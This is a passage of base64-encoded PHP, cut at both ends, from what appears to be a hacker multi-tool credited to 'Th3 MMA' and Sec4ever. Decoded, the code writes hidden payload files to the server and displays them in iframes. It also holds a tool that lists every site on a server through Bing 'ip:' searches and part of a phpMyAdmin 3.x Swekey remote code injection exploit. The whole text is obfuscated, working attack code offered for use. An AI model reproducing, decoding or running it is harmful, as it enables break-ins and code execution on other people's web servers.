w0KICAgIGFYTXRQbU5zWldGdVgzVnliQ2drWm1sdVpHeHBibXRiTVYxYkpHbGRLU0E2SUNSaGJHeE1hVzVyYzF0ZElEMGdKR1pwYm1Sc2FXNXINCiAgICBXekZkV3lScFhUc0tDZ2tKSkc1d1lXZGxJRDBnSkc1d1lXZGxJQ3NnTVRBN0Nna0phV1lnS0hCeVpXZGZiV0YwWTJnb0p5aG1hWEp6DQogICAgZEQwbklDNGdKRzV3WVdkbElDNGdKeVpoYlhBcGMybFZKeXdnSkhKbGMzVnNkRnNuUlZoRkoxMHNJQ1JzYVc1cmMzVnBkaWtnUFQwZw0KICAgIE1Da2dDZ2tKQ1dKeVpXRnJPd2tKQ2dsOUNpQWdJQ0JsYkhObENna0pZbkpsWVdzN0NpQWdJQ0I5Q2drS0NXbG1LR052ZFc1MEtDUmgNCiAgICBiR3hNYVc1cmN5a2dQVDBnTUNsN0NnbGthV1VvSWlNZ1RtOTBhR2x1WnlCR2IzVnVaQ0lwT3dvSmZXVnNjMlY3Q2dsbWIzSmxZV05vDQogICAgSUNna1lXeHNUR2x1YTNNZ1lYTWdKR3RySUQwK0lDUjJkaWw3SUNSaGJHeEViVzV6VzEwZ1BTQWtkblk3SUgwS0NYSmxkSFZ5YmlCaA0KICAgIGNuSmhlVjkxYm1seGRXVW9KR0ZzYkVSdGJuTXBPd29KZlFvSmZRb0pjSFZpYkdsaklHWjFibU4wYVc5dUlHTnNaV0Z1WDNWeWJDZ2sNCiAgICBlQ2w3SUNSNlBYQmhjbk5sWDNWeWJDZ2tlQ2s3SUhKbGRIVnliaUFrZWxzbmMyTm9aVzFsSjEwdUlqb3ZMeUl1SkhwYkoyaHZjM1FuDQogICAgWFM0aUx5STdPeUI5Q2dsOUNnby9QZ284WTJWdWRHVnlQZ284WVNCb2NtVm1QU0pvZEhSd09pOHZkM2QzTGxObFl6UmxkbVZ5TG1Odg0KICAgIGJTOGlQbmQzZHk1VFpXTTBaWFpsY2k1amIyMDhMMkUrSUh3Z1BHRWdhSEpsWmowaWFIUjBjRG92TDNkM2R5NU1ZV2R5YVhCbExVUjYNCiAgICBMbTl5Wnk4aVBncDNkM2N1VEdGbmNtbHdaUzFFZWk1dmNtYzhMMkUrUEdKeVBpQkJiR2RsY21saElESnZNVzh0TW04eE1RbzhMMk5sDQogICAgYm5SbGNqNEtDand2WW05a2VUNEtQQzlvZEcxc1BnPT0nOw0KICAgICANCiAgICAkZmlsZSA9IGZvcGVuKCJsZmkucGhwIiAsIncrIik7DQogICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkbGZpcHJpdjgpKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPWxmaS5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9NjQwIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQogICAgPz4NCiAgICA8Pw0KICAgICANCiAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJiaW5nbyIgKSB7DQogICAgIA0KICAgID8+DQogICAgPD8NCiAgICAkYXNkYXMgPSAnUEQ5d2FIQUtMeW85UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBYd0tJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnVkdoaGRDQktkWE4wSUZSb015QS8NCiAgICBJRXhsZENCWmIzVWdTMjV2ZHlCVWFHRjBKM29nSVNBZ0lId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnSUNBZ0lDQWdJQ0FnSUNCV0lDRWdkaUF6SUh3Z0lFRnlZV0lnSUNBZ0lDQWdJQ0FnSUNBZw0KICAgIElId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnSUNBZ1ZHZ3oNCiAgICBJRTFOUVNBc0lHMUZaekFnTENCRWNpNVRiR2xNYmxRZ1NHbHNUQ0FnSUNBZ0lId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnSUNBZ0lDQWdJRWh2YldVZ09pQjNkM2N1VTJWak5FVjJaWEl1WTI5dA0KICAgIElDQWdJQ0FnSUNBZ0lId0tQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOUtpOEsNCiAgICBQejRLQ2p4b2RHMXNQZ284YUdWaFpENEtQSFJwZEd4bFBsUm9NeUJOVFVFZ2ZDQm5NSFFnWVV4TUlGTmxjblpsY2lCWFpXSW5laUJDDQogICAgZVNCVFkzSnBjSFFnSVNBOEwzUnBkR3hsUGdvOGJHbHVheUJ5Wld3OUluTm9iM0owWTNWMElHbGpiMjRpSUdoeVpXWTlKMmgwZEhBNg0KICAgIEx5OTBhRE50YldFdVkyOXRMMmx0WVdkbGVpOXplV2xqTG1kcFppY2dMejRLUEcxbGRHRWdhSFIwY0MxbGNYVnBkajFEYjI1MFpXNTANCiAgICBMVlI1Y0dVZ1kyOXVkR1Z1ZEQxMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROVZWUkdMVGcrQ2p3L2NHaHdDaVJ6YUROc2JFTnZiRzl5DQogICAgSUQwZ0lpTTVPVEF3TURBaU93cGxZMmh2SUVOVFV5Z2tjMmd6Ykd4RGIyeHZjaWtLUHo0S1BDOW9aV0ZrUGdvOElTMHRWRzl2VENkYQ0KICAgIElGTjBZWEowSUVsT1JrOHRMVDRLUEdObGJuUmxjajRLUEhBK1BITndZVzRnYkdGdVp6MGlaVzR0ZFhNaVBqeG1iMjUwSUdOdmJHOXkNCiAgICBQU0lqUmtZd01EQXdJajVVYURNZ1RVRkJJRnNnVTJOaGJtNHpjaUJUWlhKMlpYSWdYU0JVYjI5c0ozb2dQQzltYjI1MFBnbzhMM053DQogICAgWVc0K1BDOXdQZ284Wm05dWRDQnphWHBsUFNJMElqNDhabTl1ZENCamIyeHZjajBpSXpBd01EQXdNQ0krU1c1elpYSjBJQ0lnUEdadg0KICAgIGJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBrbFFQQzltYjI1MFBpQWlJRk5sY25abGNpQXNJR0Z1WkNCT1lXMWxJRzlHSUNJZ0NqeG0NCiAgICBiMjUwSUdOdmJHOXlQU0lqUmtZd01EQXdJajVUWTNKcGNIUThMMlp2Ym5RK0lDSThMMlp2Ym5RK1BDOW1iMjUwUGp3dmNENEtQR1p2DQogICAgY20wZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdiV1YwYUc5a1BTSlFUMU5VSWo0S1BIQStQSE53WVc0Zw0KICAgIGJHRnVaejBpWlc0dGRYTWlQaVp1WW5Od096d3ZjM0JoYmo0OEwzUmtQand2ZEhJK1BIUnlQangwWkNCb1pXbG5hSFE5SnpRMUp5QmoNCiAgICBiMnh6Y0dGdVBTY3lKejQ4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGlaRzl5YXlJZ2RtRnNkV1U5SWp3L2NHaHdJR2xtDQogICAgS0NSZlVFOVRWQ2w3WldOb2J5Qm1hV3gwWlhJb0pGOVFUMU5VV3lka2IzSnJKMTBwTzMxbGJITmxlMlZqYUc4Z0ltbHdPakV5Tnk0dw0KICAgIExqQXVNU0k3ZlNBL1BpSWdjMmw2WlQwaU56QWlJQzgrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklIWmhiSFZsUFNkbk1IUWcNCiAgICBhWFFnSVNjZ2JtRnRaVDBuVTJOaGJpYytDand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQand2Y0Q0S1BDOW1iM0p0UGdvOElTMHRWRzl2DQogICAgVENkYUlFVnVaQ0JKVGtaUExTMCtDand2WTJWdWRHVnlQZ284UDNCb2NBb0taV05vYnlBaUNqeGpaVzUwWlhJK1BIUmhZbXhsUGlJNw0KICAgIENtbG1LQ1JmVUU5VFZGc25VMk5oYmlkZEtRcDdDaUFnSUNBa1lYSnlZWGtnUFNCaGNuSmhlU2dwT3dvZ0lDQWdKR1J2Y21zZ1BTQm0NCiAgICBhV3gwWlhJb2RISnBiU2drWDFCUFUxUmJKMlJ2Y21zblhTa3BPd29nSUNBZ1pXTm9ieUFpUEhONVBpQkViM0pyT2lCYklpNGtaRzl5DQogICAgYXk0aVhUeGljajRpT3dvZ0lDQWdKSEJoWjJWT2RXMGdQU0F3T3dvZ0lDQWdkMmhwYkdVb2RISjFaU0I4ZkNBa2NHRm5aVTUxYlNBOA0KICAgIFBUVXBDaUFnSUNCN0NpQWdJQ0FnSUNBZ0pHSnBibWNnUFNBaWFIUjBjRG92TDNkM2R5NWlhVzVuTG1OdmJTOXpaV0Z5WTJnL2NUMGkNCiAgICBMbk4wY2w5eVpYQnNZV05sS0NJZ0lpd2lLeUlzSkdSdmNtc3BMaUltWjI4OUptWnBiSFE5WVd4c0ptWnBjbk4wUFNJdUpIQmhaMlZPDQogICAgZFcwdUlpSTdDaUFnSUNBZ0lDQWdhV1lvSVhCeVpXZGZiV0YwWTJnb0lpOU9ieUJ5WlhOMWJIUnpJR1p2ZFc1a0lHWnZjaThpTEVOdg0KICAgIGJtNWxZM1JmU0c5emRDZ2tZbWx1WnlrcEtRb2dJQ0FnSUNBZ0lIc0tJQ0FnSUNBZ0lDQWdJQ0FnY0hKbFoxOXRZWFJqYUY5aGJHd28NCiAgICBJaTg4YURNK1BHRWdhSEpsWmoxY0lpZ3VLajhwWENJK0x5SXNRMjl1Ym1WamRGOUliM04wS0NSaWFXNW5LU3drYzJsMFpYTXBPd29nDQogICAgSUNBZ0lDQWdJQ0FnSUNCcFppaGpiM1Z1ZENna2MybDBaWE5iTVYwcFBUMHdLUW9nSUNBZ0lDQWdJQ0FnSUNCN2NtVjBkWEp1SUdaaA0KICAgIGJITmxPMzBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlLQ1JwUFRBZ095QWthU0E4SUdOdmRXNTBLQ1J6YVhSbGMxc3hYU2s3Skdrckt5a0sNCiAgICBJQ0FnSUNBZ0lDQWdJQ0FnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSkhOcGRHVWdQU0J6ZEhKZmNtVndiR0ZqWlNoaGNuSmhlU2dpDQogICAgYUhSMGNEb3ZMeUlzSW1oMGRIQnpPaTh2SWl3aWQzZDNMaUlwTENJaUxDUnphWFJsYzFzeFhWc2thVjBwT3dvZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSkhOcGRHVWdQU0J6ZFdKemRISW9KSE5wZEdVc01DeHpkSEp3YjNNb0pITnBkR1VzSWk4aUxEQXBLVHM3Q2lBZ0lDQWcNCiAgICBJQ0FnSUNBZ0lDQWdJQ0JwWmlnaGFXNWZZWEp5WVhrb0pITnBkR1VzSkdGeWNtRjVLU2tLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSHNLDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCbFkyaHZJQ1J6YVhSbExpSThZbklnTHo0aU93b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJR0Z5Y21GNVgzQjFjMmdvSkdGeWNtRjVMQ1J6YVhSbEtUc2dJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWcNCiAgICBJQ0FnSUNBZ0lDQWdJQ0JtYkhWemFDZ3BPMjlpWDJac2RYTm9LQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSkhCaFoyVk9kVzBnS3owZ01UQTdDaUFnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJR1ZzYzJWN1pXTm9ieUFpUEhONVBrNXZJRkpsYzNWcw0KICAgIGRITWdJU0VnTGp3dmMzaytJanR2WWw5bWJIVnphQ2dwTzJac2RYTm9LQ2s3Y21WMGRYSnVJR1poYkhObE8zMEtJQ0FnSUgwS0lDQWcNCiAgICBJQzh2SkdGeWNtRjVJRDBnWVhKeVlYbGZkVzVwY1hWbEtDUjFVMmwwWlhNcE93b2dJQ0FnTHk5bWIzSW9KR2s5TURza2FUeGpiM1Z1DQogICAgZENna1lYSnlZWGtwT3lScEt5c3BlMlZqYUc4Z0pHRnljbUY1V3lScFhTNGlQR0p5SUM4K0lqdDlDbjBLWldOb2J5QWlQQzkwWVdKcw0KICAgIFpUNDhMMk5sYm5SbGNqNGlPd29LWm5WdVkzUnBiMjRnUTI5dWJtVmpkRjlJYjNOMEtDUjFjbXdwSUFwN0NpQWdJQ0FrWTJnZ1BTQmoNCiAgICBkWEpzWDJsdWFYUW9LVHNLSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5R1QweE1UMWNzSURBcE93b2dJQ0FnDQogICAgWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMGhGUVVSRlVpd2dNU2s3Q2lBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJncw0KICAgIElFTlZVa3hQVUZSZlZWSk1MQ0FrZFhKc0tUc0tJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlTUlZSVlVrNVUNCiAgICBVa0ZPVTBaRlVpd2dNU2s3Q2lBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlZFbE5SVTlWVkN3Z016QXBPd29nDQogICAgSUNBZ0pHUmhkR0VnUFNCamRYSnNYMlY0WldNb0pHTm9LVHNLSUNBZ0lHbG1LQ1JrWVhSaEtTQjdjbVYwZFhKdUlDUmtZWFJoTzMwZw0KICAgIENpQWdJQ0JsYkhObElIdHlaWFIxY200Z01EdDlDbjBLWm5WdVkzUnBiMjRnUTFOVEtDUnphRE5zYkVOdmJHOXlLUXA3Q2lBZ0lDQWsNCiAgICBZM056SUQwZ0lDSUtJQ0FnSUR4emRIbHNaVDRLSUNBZ0lFSlBSRmtLSUNBZ0lIc0tJQ0FnSUNBZ0lDQkdUMDVVTFVaQlRVbE1XVG9nDQogICAgVm1WeVpHRnVZVHNnQ2lBZ0lDQWdJQ0FnYldGeVoybHVPaUF5T3dvZ0lDQWdJQ0FnSUdOdmJHOXlPaUFqWTJOalkyTmpPd29nSUNBZw0KICAgIElDQWdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtZN0NpQWdJQ0I5Q2lBZ0lDQnplU0FnQ2lBZ0lDQjdDaUFnSUNBZ0lDQWcNCiAgICBZMjlzYjNJNklpNGtjMmd6Ykd4RGIyeHZjaTRpT3dvZ0lDQWdJQ0FnSUdadmJuUXRjMmw2WlRvM2NIUTdDaUFnSUNBZ0lDQWdabTl1DQogICAgZEMxM1pXbG5hSFE2SUdKdmJHUTdDaUFnSUNCOUNpQWdJQ0FqUW05NENpQWdJQ0I3Q2lBZ0lDQmpiMnh2Y2pvaUxpUnphRE5zYkVOdg0KICAgIGJHOXlMaUk3Q2lBZ0lDQm1iMjUwTFhOcGVtVTZNVFJ3ZURzS0lDQWdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJekF3TURzS0lDQWcNCiAgICBJR1p2Ym5RdGQyVnBaMmgwT21KdmJHUTdDaUFnSUNCM2FXUjBhRG8xTURCd2VEc0tJQ0FnSUgwS0lDQWdJSFJ5SUFvZ0lDQWdld29nDQogICAgSUNBZ1FrOVNSRVZTTFZKSlIwaFVPaUFnSTJOalkyTmpZeUF4Y0hnZ2MyOXNhV1E3Q2lBZ0lDQkNUMUpFUlZJdFZFOVFPaUFnSUNBag0KICAgIFkyTmpZMk5qSURGd2VDQnpiMnhwWkRzS0lDQWdJRUpQVWtSRlVpMU1SVVpVT2lBZ0lDTmpZMk5qWTJNZ01YQjRJSE52Ykdsa093b2cNCiAgICBJQ0FnUWs5U1JFVlNMVUpQVkZSUFRUb2dJMk5qWTJOall5QXhjSGdnYzI5c2FXUTdDaUFnSUNCamIyeHZjam9nSTJabVptWm1aanNLDQogICAgSUNBZ0lIMEtJQ0FnSUhSa0lBb2dJQ0FnZXdvZ0lDQWdRazlTUkVWU0xWSkpSMGhVT2lBZ0kyTmpZMk5qWXlBeGNIZ2djMjlzYVdRNw0KICAgIENpQWdJQ0JDVDFKRVJWSXRWRTlRT2lBZ0lDQWpZMk5qWTJOaklERndlQ0J6YjJ4cFpEc0tJQ0FnSUVKUFVrUkZVaTFNUlVaVU9pQWcNCiAgICBJQ05qWTJOalkyTWdNWEI0SUhOdmJHbGtPd29nSUNBZ1FrOVNSRVZTTFVKUFZGUlBUVG9nSTJOalkyTmpZeUF4Y0hnZ2MyOXNhV1E3DQogICAgQ2lBZ0lDQmpiMnh2Y2pvZ0kyTmpZMk5qWXpzS0lDQWdJSDBLSUNBZ0lIUmhZbXhsSUFvZ0lDQWdld29nSUNBZ1FrOVNSRVZTT2lBZw0KICAgIEkyVmxaV1ZsWlNBZ2IzVjBjMlYwT3dvZ0lDQWdRa0ZEUzBkU1QxVk9SQzFEVDB4UFVqb2dJekF3TURBd01Ec0tJQ0FnSUdOdmJHOXkNCiAgICBPaUFqWTJOalkyTmpPd29nSUNBZ2ZRb2dJQ0FnYVc1d2RYUWdDaUFnSUNCN0NpQWdJQ0JDVDFKRVJWSXRVa2xIU0ZRNklDQWlMaVJ6DQogICAgYUROc2JFTnZiRzl5TGlJZ01YQjRJSE52Ykdsa093b2dJQ0FnUWs5U1JFVlNMVlJQVURvZ0lDQWdJaTRrYzJnemJHeERiMnh2Y2k0aQ0KICAgIElERndlQ0J6YjJ4cFpEc0tJQ0FnSUVKUFVrUkZVaTFNUlVaVU9pQWdJQ0l1SkhOb00yeHNRMjlzYjNJdUlpQXhjSGdnYzI5c2FXUTcNCiAgICBDaUFnSUNCQ1QxSkVSVkl0UWs5VVZFOU5PaUFpTGlSemFETnNiRU52Ykc5eUxpSWdNWEI0SUhOdmJHbGtPd29nSUNBZ1FrRkRTMGRTDQogICAgVDFWT1JDMURUMHhQVWpvZ0l6TXpNek16TXpzS0lDQWdJR1p2Ym5RNklEbHdkQ0IwWVdodmJXRTdDaUFnSUNCamIyeHZjam9nSTJabQ0KICAgIFptWm1aanNLSUNBZ0lIMEtJQ0FnSUhObGJHVmpkQ0FLSUNBZ0lIc0tJQ0FnSUVKUFVrUkZVaTFTU1VkSVZEb2dJQ05tWm1abVptWWcNCiAgICBNWEI0SUhOdmJHbGtPd29nSUNBZ1FrOVNSRVZTTFZSUFVEb2dJQ0FnSXprNU9UazVPU0F4Y0hnZ2MyOXNhV1E3Q2lBZ0lDQkNUMUpFDQogICAgUlZJdFRFVkdWRG9nSUNBak9UazVPVGs1SURGd2VDQnpiMnhwWkRzS0lDQWdJRUpQVWtSRlVpMUNUMVJVVDAwNklDTm1abVptWm1ZZw0KICAgIE1YQjRJSE52Ykdsa093b2dJQ0FnUWtGRFMwZFNUMVZPUkMxRFQweFBVam9nSXpBd01EQXdNRHNLSUNBZ0lHWnZiblE2SURsd2RDQjANCiAgICBZV2h2YldFN0NpQWdJQ0JqYjJ4dmNqb2dJME5EUTBORFF6czdDaUFnSUNCOUNpQWdJQ0J6ZFdKdGFYUWdDaUFnSUNCN0NpQWdJQ0JDDQogICAgVDFKRVJWSTZJQ0F4Y0hnZ2IzVjBjMlYwSUdKMWRIUnZibWhwWjJoc2FXZG9kRHNLSUNBZ0lFSkJRMHRIVWs5VlRrUXRRMDlNVDFJNg0KICAgIElDTXlOekkzTWpjN0NpQWdJQ0IzYVdSMGFEb2dOREFsT3dvZ0lDQWdZMjlzYjNJNklDTmpZMk5qWTJNN0NpQWdJQ0I5Q2lBZ0lDQjANCiAgICBaWGgwWVhKbFlTQUtJQ0FnSUhzS0lDQWdJRUpQVWtSRlVpMVNTVWRJVkRvZ0lDTm1abVptWm1ZZ01YQjRJSE52Ykdsa093b2dJQ0FnDQogICAgUWs5U1JFVlNMVlJQVURvZ0lDQWdJems1T1RrNU9TQXhjSGdnYzI5c2FXUTdDaUFnSUNCQ1QxSkVSVkl0VEVWR1ZEb2dJQ0FqT1RrNQ0KICAgIE9UazVJREZ3ZUNCemIyeHBaRHNLSUNBZ0lFSlBVa1JGVWkxQ1QxUlVUMDA2SUNObVptWm1abVlnTVhCNElITnZiR2xrT3dvZ0lDQWcNCiAgICBRa0ZEUzBkU1QxVk9SQzFEVDB4UFVqb2dJek16TXpNek16c0tJQ0FnSUdOdmJHOXlPaUFqWm1abVptWm1Pd29nSUNBZ2ZRb2dJQ0FnDQogICAgUVRwc2FXNXJJSHREVDB4UFVqb2lMaVJ6YUROc2JFTnZiRzl5TGlJN0lGUkZXRlF0UkVWRFQxSkJWRWxQVGpvZ2JtOXVaWDBLSUNBZw0KICAgIElFRTZkbWx6YVhSbFpDQjdJRU5QVEU5U09pSXVKSE5vTTJ4c1EyOXNiM0l1SWpzZ1ZFVllWQzFFUlVOUFVrRlVTVTlPT2lCdWIyNWwNCiAgICBmUW9nSUNBZ1FUcGhZM1JwZG1VZ2UwTlBURTlTT2lJdUpITm9NMnhzUTI5c2IzSXVJanNnVkVWWVZDMUVSVU5QVWtGVVNVOU9PaUJ1DQogICAgYjI1bGZRb2dJQ0FnUVRwb2IzWmxjaUI3WTI5c2IzSTZZbXgxWlR0VVJWaFVMVVJGUTA5U1FWUkpUMDQ2SUc1dmJtVjlDaUFnSUNBOA0KICAgIEwzTjBlV3hsUGlJN0NpQWdJQ0J5WlhSMWNtNGdKR056Y3pzS2ZRcG1kVzVqZEdsdmJpQm1iMjkwWlhJb0tRcDdDaUFnSUNCbFkyaHYNCiAgICBJQ2NLUEdobFlXUStDanh0WlhSaElHaDBkSEF0WlhGMWFYWTlJa052Ym5SbGJuUXRUR0Z1WjNWaFoyVWlJR052Ym5SbGJuUTlJbVZ1DQogICAgTFhWeklqNEtQQzlvWldGa1BnbzhabTl1ZENCamIyeHZjajBpSXpBd01EQXdNQ0krQ2p4d0lHRnNhV2R1UFNKalpXNTBaWElpUGp4bQ0KICAgIGIyNTBJR1poWTJVOUlsUmhhRzl0WVNJZ2MybDZaVDBpTVNJK1l6QmtNMlFnUW5rZ1ZHZ3pJRTFOUVNBbVlXMXdPd284WVNCb2NtVm0NCiAgICBQU0p0WVdsc2RHODZhVEI0TUVCb2IzUnRZV2xzTG1OdmJTSStSSEl1VTJ4cFRHNVVJRWhwYkV3OEwyRStJQ1poYlhBN0NqeGhJR2h5DQogICAgWldZOUltMWhhV3gwYnpwdE0yZHZOREF6UUdkdFlXbHNMbU52YlNJK2JVVm5NRHd2WVQ0Z1BDOW1iMjUwUGp3dmNENEtQSEFnWVd4cA0KICAgIFoyNDlJbU5sYm5SbGNpSStQR1p2Ym5RZ1ptRmpaVDBpVkdGb2IyMWhJaUJ6YVhwbFBTSXhJajQ4ZFQ0OFptOXVkQ0JqYjJ4dmNqMGkNCiAgICBJMFpHTURBd01DSStSM0psWlZSY0ozb0tQQzltYjI1MFBqd3ZkVDQ2SUVFdFMybHNiRE55WENkNklDWnNkRHNnT0NCTlQwNGdJU0FzDQogICAgSUZONUlFVm5JRVI2SUhCc0lHTXdaRE55WENkNkptNWljM0E3SUR3dlptOXVkRDQ4TDNBK0NqeHdJR0ZzYVdkdVBTSmpaVzUwWlhJaQ0KICAgIFBqeG1iMjUwSUdaaFkyVTlJbFJoYUc5dFlTSWdjMmw2WlQwaU1TSStQSFUrUEdadmJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBrWnMNCiAgICBlU0FLYzJnd2RGd25land2Wm05dWRENDhMM1UrSURvZ1UzbHlhV0Z1SURNMFJ6RXpJQ1pzZERzZ1RYa2dRblZzYkhOb2FYUWdRbkp2DQogICAgSUN3Z1RYSXVRbXhoWTJzZ0xDQllMVTFoYWlGRUlDd2dZakI0SUNac2REc2dDalZoYjJFZ1RXbHVaQ0FzSUZndFUyaGhaRzkzSUN3Zw0KICAgIFRXRXpjMVJ5TUMxRWVpQW1iSFE3TXlBc0lFeGhaM0pwY0dVdFJIb2dMQ0JxU0MxVVpXRnRJQ3dnUEM5bWIyNTBQand2Y0Q0S1BIQWcNCiAgICBZV3hwWjI0OUltTmxiblJsY2lJK1BHWnZiblFnWm1GalpUMGlWR0ZvYjIxaElpQnphWHBsUFNJeElqNVVhRE1nVFUxQkxpODhMMlp2DQogICAgYm5RK1BDOXdQZ284TDJadmJuUStDand2YUhSdGJENEtJQ0FnSUNjN0NuMEtablZ1WTNScGIyNGdabWxzZEdWeUtDUnpkSEpwYm1jcA0KICAgIENuc0tJQ0FnSUdsbUtHZGxkRjl0WVdkcFkxOXhkVzkwWlhOZlozQmpLQ2tnSVQwZ01DbDdjbVYwZFhKdUlITjBjbWx3YzJ4aGMyaGwNCiAgICBjeWdrYzNSeWFXNW5LVHNnSUNBZ2ZRb2dJQ0FnWld4elpYdHlaWFIxY200Z0pITjBjbWx1WnpzZ0lDQWdmUXA5Q2dwbWIyOTBaWElvDQogICAgS1RzS0x5bzlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFh3S0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUh3Z0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWcNCiAgICBJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZkFvaklDQWdJQ0FnSUNBZ0lDQWdJREl3TVRFdk1UVXZNVEV2SUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnZkFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZkFvag0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUZSb015Qk5UVUVnSUh3S1BUMDlQVDA5UFQwOVBUMDkNCiAgICBQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5S2k4S1B6ND0nOw0KICAgICANCiAgICAkZmlsZSA9IGZvcGVuKCJzdXJ1bS5waHAiICwidysiKTsNCiAgICAkd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRhc2RhcykpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgZWNobyAiPGlmcmFtZSBzcmM9c3VydW0ucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTY0MCBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOw0KICAgID8+DQogICAgPD8NCiAgICAgDQogICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAicG1hIiApIHsNCiAgICAgDQogICAgPz4NCiAgICA8Pw0KICAgICRhc2RhczEgPSAnUEVKUFJGa2dUMjVMWlhsUWNtVnpjejBpUjJWMFMyVjVRMjlrWlNncE95SWdkR1Y0ZEQxeVpXUWdZbTkwZEc5dFRXRnlaMmx1UFRBZw0KICAgIFltZERiMnh2Y2owak1EQXdNREF3SUd4bFpuUk5ZWEpuYVc0OU1DQjBiM0JOWVhKbmFXNDlNQ0J5YVdkb2RFMWhjbWRwYmowd0lHMWgNCiAgICBjbWRwYm1obGFXZG9kRDB3SUcxaGNtZHBibmRwWkhSb1BUQStDancvY0dod0lDOHFDaU1nUlhod2JHOXBkQ0JVYVhSc1pUb2djR2h3DQogICAgVFhsQlpHMXBiaUF6TG5nZ1UzZGxhMlY1SUZKbGJXOTBaU0JEYjJSbElFbHVhbVZqZEdsdmJpQkZlSEJzYjJsMENpTWdSR0YwWlRvZw0KICAgIE1qQXhNUzB3Tnkwd09Rb2pJRUYxZEdodmNqb2dUV0Z1WjI4Z2IyWWdhR0V1ZUhodmNpNXpaUW9qSUZabGNuTnBiMjQ2SUhCb2NFMTUNCiAgICBRV1J0YVc0Z1BDQXpMak11TVRBdU1pQjhmQ0J3YUhCTmVVRmtiV2x1SUR3Z015NDBMak11TVFvaklFTldSU0E2SUVOV1JTMHlNREV4DQogICAgTFRJMU1EVXNJRU5XUlMweU1ERXhMVEkxTURZS0l5QkJaSFpwYzI5eWVUb2dhSFIwY0RvdkwzZDNkeTU0ZUc5eUxuTmxMMkZrZG1seg0KICAgIGIzSnBaWE12Y0dod1RYbEJaRzFwYmw4ekxuaGZUWFZzZEdsd2JHVmZVbVZ0YjNSbFgwTnZaR1ZmUlhobFkzVjBhVzl1Y3k1MGVIUUsNCiAgICBJeUJFWlhSaGFXeHpPaUJvZEhSd09pOHZhR0V1ZUhodmNpNXpaUzh5TURFeEx6QTNMM0JvY0cxNVlXUnRhVzR0TTNndGJYVnNkR2x3DQogICAgYkdVdGNtVnRiM1JsTFdOdlpHVXVhSFJ0YkFvcUx3cGxZMmh2SUhCb2NGOXpZWEJwWDI1aGJXVW9LU0U5UFNkamJHa25QeWM4Y0hKb